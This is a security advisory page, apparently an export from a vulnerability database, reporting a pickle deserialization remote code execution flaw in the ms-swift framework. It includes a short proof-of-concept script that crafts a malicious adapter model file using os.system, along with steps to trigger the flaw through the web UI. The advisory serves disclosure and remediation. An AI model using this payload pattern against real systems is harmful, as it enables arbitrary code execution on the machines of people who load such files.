ms-swift
Affected
- introduced
0, last affected3.6.3(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
MS SWIFT Deserialization RCE Vulnerability
This appears to be a security vulnerability report describing a remote code execution (RCE) exploit in the ms-swift framework through malicious pickle deserialization in adapter model files. The vulnerability allows arbitrary command execution when loading specially crafted adapter models from ModelScope.
This occurs when using machine torch version < 2.6.0, while ms-swift accepts torch version >= 2.0
I. Detailed Description:
pip install ms-swift -U
swift web-ui --lang en
import torch, pickle, os
class MaliciousPayload:
def __reduce__(self):
return (os.system, ("touch /tmp/malicious.txt",)) # Arbitrary command
malicious_data = {
"v_head.summary.weight": MaliciousPayload(),
"v_head.summary.bias": torch.randn(10)
}
if __name__ == "__main__":
with open("adapter_model.bin", "wb") as f:
pickle.dump(malicious_data, f)
~/.cache/modelscope/hub/models/cyjhhh/lora_adapter_4_llama3
Wait for the first submission program until the adapters download is complete, then you can click "kill running task" on the page to terminate the first training
Click submit to see the backend command running as follows
Requires machine torch version < 2.6.0, while ms-swift accepts torch version >= 2.0
II. Vulnerability Proof:
III. Fix Solution:
SWIFT has disabled torch.load operations from 3.7 or later.
Author
Medium Basis: The source's own band: MODERATE
0, last affected 3.6.3 (ecosystem)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0